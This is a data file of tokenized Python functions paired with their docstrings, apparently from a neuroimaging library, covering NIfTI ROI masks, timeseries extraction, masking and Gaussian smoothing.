{"signature": "def create_rois_mask(roislist, filelist):", "body": "roifiles = []<EOL>for roi in roislist:<EOL><INDENT>try:<EOL><INDENT>roi_file = search_list(roi, filelist)[<NUM_LIT:0>]<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(str(exc)))<EOL><DEDENT>else:<EOL><INDENT>roifiles.append(roi_file)<EOL><DEDENT><DEDENT>return binarise(roifiles)<EOL>", "docstring": "Look for the files in filelist containing the names in roislist, these files will be opened, binarised\n    and merged in one mask.\n\n    Parameters\n    ----------\n    roislist: list of strings\n        Names of the ROIs, which will have to be in the names of the files in filelist.\n\n    filelist: list of strings\n        List of paths to the volume files containing the ROIs.\n\n    Returns\n    -------\n    numpy.ndarray\n        Mask volume", "id": "f4088:m4"}
{"signature": "def get_unique_nonzeros(arr):", "body": "rois = np.unique(arr)<EOL>rois = rois[np.nonzero(rois)]<EOL>rois.sort()<EOL>return rois<EOL>", "docstring": "Return a sorted list of the non-zero unique values of arr.\n\n    Parameters\n    ----------\n    arr: numpy.ndarray\n        The data array\n\n    Returns\n    -------\n    list of items of arr.", "id": "f4088:m5"}
{"signature": "def get_roilist_from_atlas(atlas_img):", "body": "return get_unique_nonzeros(check_img(atlas_img).get_data())<EOL>", "docstring": "Extract unique values from the atlas and returns them as an ordered list.\n\nParameters\n----------\natlas_img: img-like object or str\n    Volume defining different ROIs.\n    Can either be:\n    - a file path to a Nifti image\n    - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n    If niimg is a string, consider it as a path to Nifti image and\n    call nibabel.load on it. If it is an object, check if get_data()\n    and get_affine() methods are present, raise TypeError otherwise.\n\nReturns\n-------\nnp.ndarray\n    An 1D array of roi values from atlas volume.\n\nNote\n----\nThe roi with value 0 will be considered background so will be removed.", "id": "f4088:m6"}
{"signature": "def get_rois_centers_of_mass(vol):", "body": "from scipy.ndimage.measurements import center_of_mass<EOL>roisvals = np.unique(vol)<EOL>roisvals = roisvals[roisvals != <NUM_LIT:0>]<EOL>rois_centers = OrderedDict()<EOL>for r in roisvals:<EOL><INDENT>rois_centers[r] = center_of_mass(vol, vol, r)<EOL><DEDENT>return rois_centers<EOL>", "docstring": "Get the center of mass for each ROI in the given volume.\n\n    Parameters\n    ----------\n    vol: numpy ndarray\n        Volume with different values for each ROI.\n\n    Returns\n    -------\n    OrderedDict\n        Each entry in the dict has the ROI value as key and the center_of_mass coordinate as value.", "id": "f4088:m7"}
{"signature": "def partition_timeseries(image, roi_img, mask_img=None, zeroe=True, roi_values=None, outdict=False):", "body": "img  = read_img(image)<EOL>rois = read_img(roi_img)<EOL>check_img_compatibility(img, rois, only_check_3d=True)<EOL>roi_data = rois.get_data()<EOL>if roi_values is not None:<EOL><INDENT>for rv in roi_values:<EOL><INDENT>if not np.any(roi_data == rv):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(rv, repr_imgs(roi_img)))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>roi_values = get_unique_nonzeros(roi_data)<EOL><DEDENT>if mask_img is None:<EOL><INDENT>mask_data = None<EOL><DEDENT>else:<EOL><INDENT>mask = load_mask(mask_img)<EOL>check_img_compatibility(img, mask, only_check_3d=True)<EOL>mask_data = mask.get_data()<EOL><DEDENT>if outdict:<EOL><INDENT>extract_data = _extract_timeseries_dict<EOL><DEDENT>else:<EOL><INDENT>extract_data = _extract_timeseries_list<EOL><DEDENT>try:<EOL><INDENT>return extract_data(img.get_data(), rois.get_data(), mask_data,<EOL>roi_values=roi_values, zeroe=zeroe)<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Partition the timeseries in tsvol according to the ROIs in roivol.\n    If a mask is given, will use it to exclude any voxel outside of it.\n\n    The outdict indicates whether you want a dictionary for each set of timeseries keyed by the ROI value\n    or a list of timeseries sets. If True and roi_img is not None will return an OrderedDict, if False\n    or roi_img or roi_list is None will return a list.\n\n    Background value is assumed to be 0 and won't be used here.\n\n    Parameters\n    ----------\n    image: img-like object or str\n        4D timeseries volume\n\n    roi_img: img-like object or str\n        3D volume defining different ROIs.\n\n    mask_img: img-like object or str\n        3D mask volume\n\n    zeroe: bool\n        If true will remove the null timeseries voxels.\n\n    roi_values: list of ROI values (int?)\n        List of the values of the ROIs to indicate the\n        order and which ROIs will be processed.\n\n    outdict: bool\n        If True will return an OrderedDict of timeseries sets, otherwise a list.\n\n    Returns\n    -------\n    timeseries: list or OrderedDict\n        A dict with the timeseries as items and keys as the ROIs voxel values or\n        a list where each element is the timeseries set ordered by the sorted values in roi_img or by the roi_values\n        argument.", "id": "f4088:m8"}
{"signature": "def partition_volume(*args, **kwargs):", "body": "return partition_timeseries(*args, **kwargs)<EOL>", "docstring": "Look at partition_timeseries function docstring.", "id": "f4088:m9"}
{"signature": "def _partition_data(datavol, roivol, roivalue, maskvol=None, zeroe=True):", "body": "if maskvol is not None:<EOL><INDENT>indices = (roivol == roivalue) * (maskvol > <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>indices = roivol == roivalue<EOL><DEDENT>if datavol.ndim == <NUM_LIT:4>:<EOL><INDENT>ts = datavol[indices, :]<EOL><DEDENT>else:<EOL><INDENT>ts = datavol[indices]<EOL><DEDENT>if zeroe:<EOL><INDENT>if datavol.ndim == <NUM_LIT:4>:<EOL><INDENT>ts = ts[ts.sum(axis=<NUM_LIT:1>) != <NUM_LIT:0>, :]<EOL><DEDENT><DEDENT>return ts<EOL>", "docstring": "Extracts the values in `datavol` that are in the ROI with value `roivalue` in `roivol`.\n    The ROI can be masked by `maskvol`.\n\n    Parameters\n    ----------\n    datavol: numpy.ndarray\n        4D timeseries volume or a 3D volume to be partitioned\n\n    roivol: numpy.ndarray\n        3D ROIs volume\n\n    roivalue: int or float\n        A value from roivol that represents the ROI to be used for extraction.\n\n    maskvol: numpy.ndarray\n        3D mask volume\n\n    zeroe: bool\n        If true will remove the null timeseries voxels.  Only applied to timeseries (4D) data.\n\n    Returns\n    -------\n    values: np.array\n        An array of the values in the indicated ROI.\n        A 2D matrix if `datavol` is 4D or a 1D vector if `datavol` is 3D.", "id": "f4088:m11"}
{"signature": "def _extract_timeseries_dict(tsvol, roivol, maskvol=None, roi_values=None, zeroe=True):", "body": "_check_for_partition(tsvol, roivol, maskvol)<EOL>if roi_values is None:<EOL><INDENT>roi_values = get_unique_nonzeros(roivol)<EOL><DEDENT>ts_dict = OrderedDict()<EOL>for r in roi_values:<EOL><INDENT>ts = _partition_data(tsvol, roivol, r, maskvol, zeroe)<EOL>if len(ts) == <NUM_LIT:0>:<EOL><INDENT>ts = np.zeros(tsvol.shape[-<NUM_LIT:1>])<EOL><DEDENT>ts_dict[r] = ts<EOL><DEDENT>return ts_dict<EOL>", "docstring": "Partition the timeseries in tsvol according to the ROIs in roivol.\n    If a mask is given, will use it to exclude any voxel outside of it.\n\n    Parameters\n    ----------\n    tsvol: numpy.ndarray\n        4D timeseries volume or a 3D volume to be partitioned\n\n    roivol: numpy.ndarray\n        3D ROIs volume\n\n    maskvol: numpy.ndarray\n        3D mask volume\n\n    zeroe: bool\n        If true will remove the null timeseries voxels.\n\n    roi_values: list of ROI values (int?)\n        List of the values of the ROIs to indicate the\n        order and which ROIs will be processed.\n\n    Returns\n    -------\n    ts_dict: OrderedDict\n        A dict with the timeseries as items and keys as the ROIs voxel values.", "id": "f4088:m12"}
{"signature": "def _extract_timeseries_list(tsvol, roivol, maskvol=None, roi_values=None, zeroe=True):", "body": "_check_for_partition(tsvol, roivol, maskvol)<EOL>if roi_values is None:<EOL><INDENT>roi_values = get_unique_nonzeros(roivol)<EOL><DEDENT>ts_list = []<EOL>for r in roi_values:<EOL><INDENT>ts = _partition_data(tsvol, roivol, r, maskvol, zeroe)<EOL>if len(ts) == <NUM_LIT:0>:<EOL><INDENT>ts = np.zeros(tsvol.shape[-<NUM_LIT:1>])<EOL><DEDENT>ts_list.append(ts)<EOL><DEDENT>return ts_list<EOL>", "docstring": "Partition the timeseries in tsvol according to the ROIs in roivol.\n    If a mask is given, will use it to exclude any voxel outside of it.\n\n    Parameters\n    ----------\n    tsvol: numpy.ndarray\n        4D timeseries volume or a 3D volume to be partitioned\n\n    roivol: numpy.ndarray\n        3D ROIs volume\n\n    maskvol: numpy.ndarray\n        3D mask volume\n\n    zeroe: bool\n        If true will remove the null timeseries voxels. Only applied to timeseries (4D) data.\n\n    roi_values: list of ROI values (int?)\n        List of the values of the ROIs to indicate the\n        order and which ROIs will be processed.\n\n    Returns\n    -------\n    ts_list: list\n        A list with the timeseries arrays as items", "id": "f4088:m13"}
{"signature": "def get_3D_from_4D(image, vol_idx=<NUM_LIT:0>):", "body": "img      = check_img(image)<EOL>hdr, aff = get_img_info(img)<EOL>if len(img.shape) != <NUM_LIT:4>:<EOL><INDENT>raise AttributeError('<STR_LIT>'.format(repr_imgs(img)))<EOL><DEDENT>if not <NUM_LIT:0> <= vol_idx < img.shape[<NUM_LIT:3>]:<EOL><INDENT>raise IndexError('<STR_LIT>'<EOL>'<STR_LIT>'.format(repr_imgs(img), img.shape[<NUM_LIT:3>], vol_idx))<EOL><DEDENT>img_data = img.get_data()<EOL>new_vol  = img_data[:, :, :, vol_idx].copy()<EOL>hdr.set_data_shape(hdr.get_data_shape()[:<NUM_LIT:3>])<EOL>return new_vol, hdr, aff<EOL>", "docstring": "Pick one 3D volume from a 4D nifti image file\n\n    Parameters\n    ----------\n    image: img-like object or str\n        Volume defining different ROIs.\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    vol_idx: int\n        Index of the 3D volume to be extracted from the 4D volume.\n\n    Returns\n    -------\n    vol, hdr, aff\n        The data array, the image header and the affine transform matrix.", "id": "f4088:m14"}
{"signature": "def load_mask(image, allow_empty=True):", "body": "img    = check_img(image, make_it_3d=True)<EOL>values = np.unique(img.get_data())<EOL>if len(values) == <NUM_LIT:1>:<EOL><INDENT>if values[<NUM_LIT:0>] == <NUM_LIT:0> and not allow_empty:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>elif len(values) == <NUM_LIT:2>:<EOL><INDENT>if <NUM_LIT:0> not in values:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(values))<EOL><DEDENT><DEDENT>elif len(values) != <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(values))<EOL><DEDENT>return nib.Nifti1Image(as_ndarray(get_img_data(img), dtype=bool), img.get_affine(), img.get_header())<EOL>", "docstring": "Load a Nifti mask volume.\n\n    Parameters\n    ----------\n    image: img-like object or boyle.nifti.NeuroImage or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    allow_empty: boolean, optional\n        Allow loading an empty mask (full of 0 values)\n\n    Returns\n    -------\n    nibabel.Nifti1Image with boolean data.", "id": "f4089:m0"}
{"signature": "def load_mask_data(image, allow_empty=True):", "body": "mask = load_mask(image, allow_empty=allow_empty)<EOL>return get_img_data(mask), mask.get_affine()<EOL>", "docstring": "Load a Nifti mask volume and return its data matrix as boolean and affine.\n\n    Parameters\n    ----------\n    image: img-like object or boyle.nifti.NeuroImage or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    allow_empty: boolean, optional\n        Allow loading an empty mask (full of 0 values)\n\n    Returns\n    -------\n    numpy.ndarray with dtype==bool, numpy.ndarray of affine transformation", "id": "f4089:m1"}
{"signature": "def binarise(image, threshold=<NUM_LIT:0>):", "body": "img = check_img(image)<EOL>return img.get_data() > threshold<EOL>", "docstring": "Binarise image with the given threshold\n\n    Parameters\n    ----------\n    image: img-like object or boyle.nifti.NeuroImage or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    threshold: float\n\n    Returns\n    -------\n    binarised_img: numpy.ndarray\n        Mask volume", "id": "f4089:m2"}
{"signature": "def union_mask(filelist):", "body": "firstimg = check_img(filelist[<NUM_LIT:0>])<EOL>mask     = np.zeros_like(firstimg.get_data())<EOL>try:<EOL><INDENT>for volf in filelist:<EOL><INDENT>roiimg = check_img(volf)<EOL>check_img_compatibility(firstimg, roiimg)<EOL>mask  += get_img_data(roiimg)<EOL><DEDENT><DEDENT>except Exception as exc:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(repr_imgs(firstimg), repr_imgs(volf))) from exc<EOL><DEDENT>else:<EOL><INDENT>return as_ndarray(mask > <NUM_LIT:0>, dtype=bool)<EOL><DEDENT>", "docstring": "Creates a binarised mask with the union of the files in filelist.\n\nParameters\n----------\nfilelist: list of img-like object or boyle.nifti.NeuroImage or str\n    List of paths to the volume files containing the ROIs.\n    Can either be:\n    - a file path to a Nifti image\n    - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n    If niimg is a string, consider it as a path to Nifti image and\n    call nibabel.load on it. If it is an object, check if get_data()\n    and get_affine() methods are present, raise TypeError otherwise.\n\nReturns\n-------\nndarray of bools\n    Mask volume\n\nRaises\n------\nValueError", "id": "f4089:m3"}
{"signature": "def apply_mask(image, mask_img):", "body": "img  = check_img(image)<EOL>mask = check_img(mask_img)<EOL>check_img_compatibility(img, mask)<EOL>vol          = img.get_data()<EOL>mask_data, _ = load_mask_data(mask)<EOL>return vol[mask_data], mask_data<EOL>", "docstring": "Read a Nifti file nii_file and a mask Nifti file.\n    Returns the voxels in nii_file that are within the mask, the mask indices\n    and the mask shape.\n\n    Parameters\n    ----------\n    image: img-like object or boyle.nifti.NeuroImage or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    mask_img: img-like object or boyle.nifti.NeuroImage or str\n        3D mask array: True where a voxel should be used.\n        See img description.\n\n    Returns\n    -------\n    vol[mask_indices], mask_indices\n\n    Note\n    ----\n    nii_file and mask_file must have the same shape.\n\n    Raises\n    ------\n    NiftiFilesNotCompatible, ValueError", "id": "f4089:m4"}
{"signature": "def apply_mask_4d(image, mask_img):  ", "body": "img  = check_img(image)<EOL>mask = check_img(mask_img)<EOL>check_img_compatibility(img, mask, only_check_3d=True)<EOL>vol = get_data(img)<EOL>series, mask_data = _apply_mask_to_4d_data(vol, mask)<EOL>return series, mask_data<EOL>", "docstring": "Read a Nifti file nii_file and a mask Nifti file.\n    Extract the signals in nii_file that are within the mask, the mask indices\n    and the mask shape.\n\n    Parameters\n    ----------\n    image: img-like object or boyle.nifti.NeuroImage or str\n        Can either be:\n        - a file path to a Nifti image\n        - any object with get_data() and get_affine() methods, e.g., nibabel.Nifti1Image.\n        If niimg is a string, consider it as a path to Nifti image and\n        call nibabel.load on it. If it is an object, check if get_data()\n        and get_affine() methods are present, raise TypeError otherwise.\n\n    mask_img: img-like object or boyle.nifti.NeuroImage or str\n        3D mask array: True where a voxel should be used.\n        See img description.\n\n    smooth_mm: float #TBD\n        (optional) The size in mm of the FWHM Gaussian kernel to smooth the signal.\n        If True, remove_nans is True.\n\n    remove_nans: bool #TBD\n        If remove_nans is True (default), the non-finite values (NaNs and\n        infs) found in the images will be replaced by zeros.\n\n    Returns\n    -------\n    session_series, mask_data\n\n    session_series: numpy.ndarray\n        2D array of series with shape (voxel number, image number)\n\n    Note\n    ----\n    nii_file and mask_file must have the same shape.\n\n    Raises\n    ------\n    FileNotFound, NiftiFilesNotCompatible", "id": "f4089:m5"}
{"signature": "def _apply_mask_to_4d_data(vol_data, mask_img):", "body": "mask_data = load_mask_data(mask_img)<EOL>return vol_data[mask_data], mask_data<EOL>", "docstring": "Parameters\n----------\nvol_data:\nmask_img:\n\nReturns\n-------\nmasked_data, mask_indices\n\nmasked_data: numpy.ndarray\n    2D array of series with shape (image number, voxel number)\n\nNote\n----\nvol_data and mask_file must have the same shape.", "id": "f4089:m6"}
{"signature": "def vector_to_volume(arr, mask, order='<STR_LIT:C>'):", "body": "if mask.dtype != np.bool:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if arr.ndim != <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if arr.ndim == <NUM_LIT:2> and any(v == <NUM_LIT:1> for v in arr.shape):<EOL><INDENT>log.debug('<STR_LIT>'.format(arr.shape))<EOL>arr = arr.flatten()<EOL><DEDENT>volume = np.zeros(mask.shape[:<NUM_LIT:3>], dtype=arr.dtype, order=order)<EOL>volume[mask] = arr<EOL>return volume<EOL>", "docstring": "Transform a given vector to a volume. This is a reshape function for\n    3D flattened and maybe masked vectors.\n\n    Parameters\n    ----------\n    arr: np.array\n        1-Dimensional array\n\n    mask: numpy.ndarray\n        Mask image. Must have 3 dimensions, bool dtype.\n\n    Returns\n    -------\n    np.ndarray", "id": "f4089:m7"}
{"signature": "def matrix_to_4dvolume(arr, mask, order='<STR_LIT:C>'):", "body": "if mask.dtype != np.bool:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if arr.ndim != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if mask.sum() != arr.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(mask.sum(), arr.shape))<EOL><DEDENT>data = np.zeros(mask.shape + (arr.shape[<NUM_LIT:1>],), dtype=arr.dtype,<EOL>order=order)<EOL>data[mask, :] = arr<EOL>return data<EOL>", "docstring": "Transform a given vector to a volume. This is a reshape function for\n    4D flattened masked matrices where the second dimension of the matrix\n    corresponds to the original 4th dimension.\n\n    Parameters\n    ----------\n    arr: numpy.array\n        2D numpy.array\n\n    mask: numpy.ndarray\n        Mask image. Must have 3 dimensions, bool dtype.\n\n    dtype: return type\n        If None, will get the type from vector\n\n    Returns\n    -------\n    data: numpy.ndarray\n        Unmasked data.\n        Shape: (mask.shape[0], mask.shape[1], mask.shape[2], X.shape[1])", "id": "f4089:m8"}
{"signature": "def niftilist_mask_to_array(img_filelist, mask_file=None, outdtype=None):", "body": "img = check_img(img_filelist[<NUM_LIT:0>])<EOL>if not outdtype:<EOL><INDENT>outdtype = img.dtype<EOL><DEDENT>mask_data, _ = load_mask_data(mask_file)<EOL>indices      = np.where      (mask_data)<EOL>mask = check_img(mask_file)<EOL>outmat = np.zeros((len(img_filelist), np.count_nonzero(mask_data)),<EOL>dtype=outdtype)<EOL>for i, img_item in enumerate(img_filelist):<EOL><INDENT>img = check_img(img_item)<EOL>if not are_compatible_imgs(img, mask):<EOL><INDENT>raise NiftiFilesNotCompatible(repr_imgs(img), repr_imgs(mask_file))<EOL><DEDENT>vol = get_img_data(img)<EOL>outmat[i, :] = vol[indices]<EOL><DEDENT>return outmat, mask_data<EOL>", "docstring": "From the list of absolute paths to nifti files, creates a Numpy array\n    with the masked data.\n\n    Parameters\n    ----------\n    img_filelist: list of str\n        List of absolute file paths to nifti files. All nifti files must have\n        the same shape.\n\n    mask_file: str\n        Path to a Nifti mask file.\n        Should be the same shape as the files in nii_filelist.\n\n    outdtype: dtype\n        Type of the elements of the array, if not set will obtain the dtype from\n        the first nifti file.\n\n    Returns\n    -------\n    outmat:\n        Numpy array with shape N x prod(vol.shape) containing the N files as flat vectors.\n\n    mask_indices:\n        Tuple with the 3D spatial indices of the masking voxels, for reshaping\n        with vol_shape and remapping.\n\n    vol_shape:\n        Tuple with shape of the volumes, for reshaping.", "id": "f4089:m9"}
{"signature": "def fwhm2sigma(fwhm):", "body": "fwhm = np.asarray(fwhm)<EOL>return fwhm / np.sqrt(<NUM_LIT:8> * np.log(<NUM_LIT:2>))<EOL>", "docstring": "Convert a FWHM value to sigma in a Gaussian kernel.\n\n    Parameters\n    ----------\n    fwhm: float or numpy.array\n       fwhm value or values\n\n    Returns\n    -------\n    fwhm: float or numpy.array\n       sigma values", "id": "f4090:m0"}
{"signature": "def sigma2fwhm(sigma):", "body": "sigma = np.asarray(sigma)<EOL>return np.sqrt(<NUM_LIT:8> * np.log(<NUM_LIT:2>)) * sigma<EOL>", "docstring": "Convert a sigma in a Gaussian kernel to a FWHM value.\n\n    Parameters\n    ----------\n    sigma: float or numpy.array\n       sigma value or values\n\n    Returns\n    -------\n    fwhm: float or numpy.array\n       fwhm values corresponding to `sigma` values", "id": "f4090:m1"}
{"signature": "def smooth_volume(image, smoothmm):", "body": "return smooth_imgs(image, smoothmm)<EOL>", "docstring": "See smooth_img.", "id": "f4090:m2"}
{"signature": "def _smooth_data_array(arr, affine, fwhm, copy=True):", "body": "if arr.dtype.kind == '<STR_LIT:i>':<EOL><INDENT>if arr.dtype == np.int64:<EOL><INDENT>arr = arr.astype(np.float64)<EOL><DEDENT>else:<EOL><INDENT>arr = arr.astype(np.float32)<EOL><DEDENT><DEDENT>if copy:<EOL><INDENT>arr = arr.copy()<EOL><DEDENT>arr[np.logical_not(np.isfinite(arr))] = <NUM_LIT:0><EOL>try:<EOL><INDENT>affine = affine[:<NUM_LIT:3>, :<NUM_LIT:3>]<EOL>fwhm_sigma_ratio = np.sqrt(<NUM_LIT:8> * np.log(<NUM_LIT:2>))<EOL>vox_size         = np.sqrt(np.sum(affine ** <NUM_LIT:2>, axis=<NUM_LIT:0>))<EOL>sigma            = fwhm / (fwhm_sigma_ratio * vox_size)<EOL>for n, s in enumerate(sigma):<EOL><INDENT>ndimage.gaussian_filter1d(arr, s, output=arr, axis=n)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return arr<EOL><DEDENT>", "docstring": "Smooth images with a a Gaussian filter.\n\n    Apply a Gaussian filter along the three first dimensions of arr.\n\n    Parameters\n    ----------\n    arr: numpy.ndarray\n        3D or 4D array, with image number as last dimension.\n\n    affine: numpy.ndarray\n        Image affine transformation matrix for image.\n\n    fwhm: scalar, numpy.ndarray\n        Smoothing kernel size, as Full-Width at Half Maximum (FWHM) in millimeters.\n        If a scalar is given, kernel width is identical on all three directions.\n        A numpy.ndarray must have 3 elements, giving the FWHM along each axis.\n\n    copy: bool\n        if True, will make a copy of the input array. Otherwise will directly smooth the input array.\n\n    Returns\n    -------\n    smooth_arr: numpy.ndarray", "id": "f4090:m3"}
{"signature": "def smooth_imgs(images, fwhm):", "body": "if fwhm <= <NUM_LIT:0>:<EOL><INDENT>return images<EOL><DEDENT>if not isinstance(images, string_types) and hasattr(images, '<STR_LIT>'):<EOL><INDENT>only_one = False<EOL><DEDENT>else:<EOL><INDENT>only_one = True<EOL>images = [images]<EOL><DEDENT>result = []<EOL>for img in images:<EOL><INDENT>img    = check_img(img)<EOL>affine = img.get_affine()<EOL>smooth = _smooth_data_array(img.get_data(), affine, fwhm=fwhm, copy=True)<EOL>result.append(nib.Nifti1Image(smooth, affine))<EOL><DEDENT>if only_one:<EOL><INDENT>return result[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return result<EOL><DEDENT>", "docstring": "Smooth images using a Gaussian filter.\n\n    Apply a Gaussian filter along the three first dimensions of each image in images.\n    In all cases, non-finite values in input are zeroed.\n\n    Parameters\n    ----------\n    imgs: str or img-like object or iterable of img-like objects\n        See boyle.nifti.read.read_img\n        Image(s) to smooth.\n\n    fwhm: scalar or numpy.ndarray\n        Smoothing kernel size, as Full-Width at Half Maximum (FWHM) in millimeters.\n        If a scalar is given, kernel width is identical on all three directions.\n        A numpy.ndarray must have 3 elements, giving the FWHM along each axis.\n\n    Returns\n    -------\n    smooth_imgs: nibabel.Nifti1Image or list of.\n        Smooth input image/s.", "id": "f4090:m4"}
{"signature": "def _smooth_array(arr, affine, fwhm=None, ensure_finite=True, copy=True, **kwargs):", "body": "if arr.dtype.kind == '<STR_LIT:i>':<EOL><INDENT>if arr.dtype == np.int64:<EOL><INDENT>arr = arr.astype(np.float64)<EOL><DEDENT>else:<EOL><INDENT>arr = arr.astype(np.float32)<EOL><DEDENT><DEDENT>if copy:<EOL><INDENT>arr = arr.copy()<EOL><DEDENT>if ensure_finite:<EOL><INDENT>arr[np.logical_not(np.isfinite(arr))] = <NUM_LIT:0><EOL><DEDENT>if fwhm == '<STR_LIT>':<EOL><INDENT>arr = _fast_smooth_array(arr)<EOL><DEDENT>elif fwhm is not None:<EOL><INDENT>affine = affine[:<NUM_LIT:3>, :<NUM_LIT:3>]<EOL>fwhm_over_sigma_ratio = np.sqrt(<NUM_LIT:8> * np.log(<NUM_LIT:2>))<EOL>vox_size = np.sqrt(np.sum(affine ** <NUM_LIT:2>, axis=<NUM_LIT:0>))<EOL>sigma = fwhm / (fwhm_over_sigma_ratio * vox_size)<EOL>for n, s in enumerate(sigma):<EOL><INDENT>ndimage.gaussian_filter1d(arr, s, output=arr, axis=n, **kwargs)<EOL><DEDENT><DEDENT>return arr<EOL>", "docstring": "Smooth images by applying a Gaussian filter.\n    Apply a Gaussian filter along the three first dimensions of arr.\n\n    This is copied and slightly modified from nilearn:\n    https://github.com/nilearn/nilearn/blob/master/nilearn/image/image.py\n    Added the **kwargs argument.\n\n    Parameters\n    ==========\n    arr: numpy.ndarray\n        4D array, with image number as last dimension. 3D arrays are also\n        accepted.\n    affine: numpy.ndarray\n        (4, 4) matrix, giving affine transformation for image. (3, 3) matrices\n        are also accepted (only these coefficients are used).\n        If fwhm='fast', the affine is not used and can be None\n    fwhm: scalar, numpy.ndarray, 'fast' or None\n        Smoothing strength, as a full-width at half maximum, in millimeters.\n        If a scalar is given, width is identical on all three directions.\n        A numpy.ndarray must have 3 elements, giving the FWHM along each axis.\n        If fwhm == 'fast', a fast smoothing will be performed with\n        a filter [0.2, 1, 0.2] in each direction and a normalisation\n        to preserve the local average value.\n        If fwhm is None, no filtering is performed (useful when just removal\n        of non-finite values is needed).\n    ensure_finite: bool\n        if True, replace every non-finite values (like NaNs) by zero before\n        filtering.\n    copy: bool\n        if True, input array is not modified. False by default: the filtering\n        is performed in-place.\n    kwargs: keyword-arguments\n        Arguments for the ndimage.gaussian_filter1d function.\n\n    Returns\n    =======\n    filtered_arr: numpy.ndarray\n        arr, filtered.\n    Notes\n    =====\n    This function is most efficient with arr in C order.", "id": "f4090:m5"}
{"signature": "def smooth_img(imgs, fwhm, **kwargs):", "body": "<EOL>if hasattr(imgs, \"<STR_LIT>\")and not isinstance(imgs, string_types):<EOL><INDENT>single_img = False<EOL><DEDENT>else:<EOL><INDENT>single_img = True<EOL>imgs = [imgs]<EOL><DEDENT>ret = []<EOL>for img in imgs:<EOL><INDENT>img = check_niimg(img)<EOL>affine = img.get_affine()<EOL>filtered = _smooth_array(img.get_data(), affine, fwhm=fwhm,<EOL>ensure_finite=True, copy=True, **kwargs)<EOL>ret.append(new_img_like(img, filtered, affine, copy_header=True))<EOL><DEDENT>if single_img:<EOL><INDENT>return ret[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return ret<EOL><DEDENT>", "docstring": "Smooth images by applying a Gaussian filter.\n    Apply a Gaussian filter along the three first dimensions of arr.\n    In all cases, non-finite values in input image are replaced by zeros.\n\n    This is copied and slightly modified from nilearn:\n    https://github.com/nilearn/nilearn/blob/master/nilearn/image/image.py\n    Added the **kwargs argument.\n\n    Parameters\n    ==========\n    imgs: Niimg-like object or iterable of Niimg-like objects\n        See http://nilearn.github.io/manipulating_images/manipulating_images.html#niimg.\n        Image(s) to smooth.\n    fwhm: scalar, numpy.ndarray, 'fast' or None\n        Smoothing strength, as a Full-Width at Half Maximum, in millimeters.\n        If a scalar is given, width is identical on all three directions.\n        A numpy.ndarray must have 3 elements, giving the FWHM along each axis.\n        If fwhm == 'fast', a fast smoothing will be performed with\n        a filter [0.2, 1, 0.2] in each direction and a normalisation\n        to preserve the scale.\n        If fwhm is None, no filtering is performed (useful when just removal\n        of non-finite values is needed)\n    Returns\n    =======\n    filtered_img: nibabel.Nifti1Image or list of.\n        Input image, filtered. If imgs is an iterable, then filtered_img is a\n        list.", "id": "f4090:m6"}
{"signature": "def is_img(obj):", "body": "try:<EOL><INDENT>get_data   = getattr(obj, '<STR_LIT>')<EOL>get_affine = getattr(obj, '<STR_LIT>')<EOL>return isinstance(get_data,   collections.Callable) andisinstance(get_affine, collections.Callable)<EOL><DEDENT>except AttributeError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check for get_data and get_affine method in an object\n\n    Parameters\n    ----------\n    obj: any object\n        Tested object\n\n    Returns\n    -------\n    is_img: boolean\n        True if get_data and get_affine methods are present and callable,\n        False otherwise.", "id": "f4091:m0"}
